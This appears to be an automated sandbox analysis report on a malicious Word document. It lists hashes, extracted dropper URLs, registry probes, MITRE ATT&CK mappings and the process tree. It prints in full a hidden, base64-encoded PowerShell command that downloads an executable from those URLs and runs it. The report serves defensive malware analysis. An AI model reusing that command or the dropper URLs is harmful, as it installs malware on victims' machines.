d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c

General

Target

d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc
Size

113KB
MD5

ed2b42212cd661d7495a079f56418d0c
SHA1

6c9e3473cd1bf4e8d4d4f41c111fe1fc8c0afa35
SHA256

d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c
SHA512

5370aa5a2d187b7fe870008e9a753d692583a14a719f20afe9ca37b0b3ba54fef7e86bb23937aba51e9857742e39c57dd5bd8b261f1c10b5e46cc03fae960f62
SSDEEP

1536:bw9kKPubsYwKjtrzu5rGBmRoHynvwMMITLxQOa5tzLEOTsPfxIdxrtgA:0+KgdzSrGYKyIwLx3a4OTsnxA9

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://sinergica.es/wp-admin/wKzoXKb/

exe.dropper

http://anselton.com/cgi-bin/vEmYPW/

exe.dropper

http://megaone.ir/mukcrl/OljlRgz/

exe.dropper

http://design.jmcnet.com/wp-includes/a2pp6-uvy09ezl-9235065556/

exe.dropper

https://www.espacoestela.com/6l943im/cZlyyCT/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1096	5096	Powershell.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
27	1096	Powershell.exe
29	1096	Powershell.exe
34	1096	Powershell.exe
37	1096	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1096	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4760	WINWORD.EXE
4760	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1096	Powershell.exe
1096	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE
4760	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 3520	4760	WINWORD.EXE	84
PID 4760 wrote to memory of 3520	4760	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d0aa4009261cd6a957ca054a533007972207d6a1b16452c9ccc164e886dd467c.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3520

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABLAGwAbwB5AGwAZABzAHUAPQAnAE0AcwBiAGUAaQBnAGQAZAB2AGQAawBwAGoAJwA7ACQARQBvAHUAZgBjAHIAcgByAHMAaQAgAD0AIAAnADQANgAzACcAOwAkAFYAbQBqAHkAdgBrAGUAZABhAG0AegB0AD0AJwBVAHkAYwBoAGMAYgBlAHgAagBsAG8AbwAnADsAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAbwB1AGYAYwByAHIAcgBzAGkAKwAnAC4AZQB4AGUAJwA7ACQAVAB1AGMAYwBoAHUAaQBnAGwAbAA9ACcATwB5AGUAdwBoAGsAagBjACcAOwAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAG4AVAA7ACQAQwB4AHYAYQBrAGYAbgBpAHAAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGkAbgBlAHIAZwBpAGMAYQAuAGUAcwAvAHcAcAAtAGEAZABtAGkAbgAvAHcASwB6AG8AWABLAGIALwAqAGgAdAB0AHAAOgAvAC8AYQBuAHMAZQBsAHQAbwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdgBFAG0AWQBQAFcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGcAYQBvAG4AZQAuAGkAcgAvAG0AdQBrAGMAcgBsAC8ATwBsAGoAbABSAGcAegAvACoAaAB0AHQAcAA6AC8ALwBkAGUAcwBpAGcAbgAuAGoAbQBjAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBhADIAcABwADYALQB1AHYAeQAwADkAZQB6AGwALQA5ADIAMwA1ADAANgA1ADUANQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAHMAcABhAGMAbwBlAHMAdABlAGwAYQAuAGMAbwBtAC8ANgBsADkANAAzAGkAbQAvAGMAWgBsAHkAeQBDAFQALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAJwAqACcAKQA7ACQATQBjAGoAcABuAHgAZAB5AGsAaAA9ACcASgBmAGsAdwBsAGEAawBvAG4AcgBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACAAaQBuACAAJABDAHgAdgBhAGsAZgBuAGkAcAApAHsAdAByAHkAewAkAFMAeQBsAG0AYwBhAGcAaQBtAHoAcAAuACIARABvAHcAbgBgAEwATwBBAGQAZgBgAEkAbABFACIAKAAkAFUAawByAHEAZQBiAG4AYQBrAHcAeQBlACwAIAAkAE8AdAB1AGgAawB5AG4AcgBnAHcAbgApADsAJABUAG0AZQBkAGUAbABlAGgAaQA9ACcAUwBoAGsAZABuAGEAcwBlAHgAbwB5AGwAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABPAHQAdQBoAGsAeQBuAHIAZwB3AG4AKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAyADgANAA3ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGAAQQByAFQAIgAoACQATwB0AHUAaABrAHkAbgByAGcAdwBuACkAOwAkAFMAdQB5AHYAdgBqAGMAaABkAHEAPQAnAEMAbABuAGMAeABrAGQAcwBzACcAOwBiAHIAZQBhAGsAOwAkAFoAcgBvAHYAcAByAHYAYgB0AGUAPQAnAEoAaQBtAGYAagBxAHoAZwBtAHQAdABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAYgBiAGkAaABxAHMAagB6AGUAPQAnAE0AcABpAHAAYQBjAGcAcwBkAHUAawAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A460509F.wmf

Filesize
444B

MD5
e1366dc6f725e1d9d14aa135c44fb1e8

SHA1
fe56e12b54845e3337d9de072527af993258b997

SHA256
62b890303e0e7c7778ad08c18029966cb60a96104caed7ba5b2ac907ffc09e77

SHA512
f5ed2d0af5fb969be044beb4c09a746dfe9c0bb97e773d0cb65b27d36370e700b2a08b130c7245e66d67671580d28b9872a43e7b5be9323729751876a343d951

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDF1F7.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vm11ufrq.m0o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
5bedaa2f58fea89293e2fb86fb2c8e5b

SHA1
97b379d95a2ca4c75915a72298e4400ed15ba672

SHA256
54d1fc8bafc8697697f0aedb408a5cbfa107478be9ddfe1f5725e0d6a1a95303

SHA512
1ce17f6a62044f7bbac7c97281dc39cadaa36384a38065a8f7f986f5cefd16334658e756c2661a61eb8d480ee25044dbe47a402731700d4db5824bed3bafa5f1

Download Submit
memory/1096-50-0x00000183D33E0000-0x00000183D3402000-memory.dmp

Filesize
136KB

Download
memory/4760-13-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-10-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-8-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-7-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-6-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-1-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

Filesize
64KB

Download
memory/4760-12-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-11-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-14-0x00007FFD5BBB0000-0x00007FFD5BBC0000-memory.dmp

Filesize
64KB

Download
memory/4760-9-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-15-0x00007FFD5BBB0000-0x00007FFD5BBC0000-memory.dmp

Filesize
64KB

Download
memory/4760-0-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

Filesize
64KB

Download
memory/4760-4-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

Filesize
64KB

Download
memory/4760-5-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

Filesize
64KB

Download
memory/4760-68-0x00007FFD9DB90000-0x00007FFD9DD85000-memory.dmp

Filesize
2.0MB

Download
memory/4760-2-0x00007FFD5DC10000-0x00007FFD5DC20000-memory.dmp

Filesize
64KB

Download
memory/4760-3-0x00007FFD9DC2D000-0x00007FFD9DC2E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads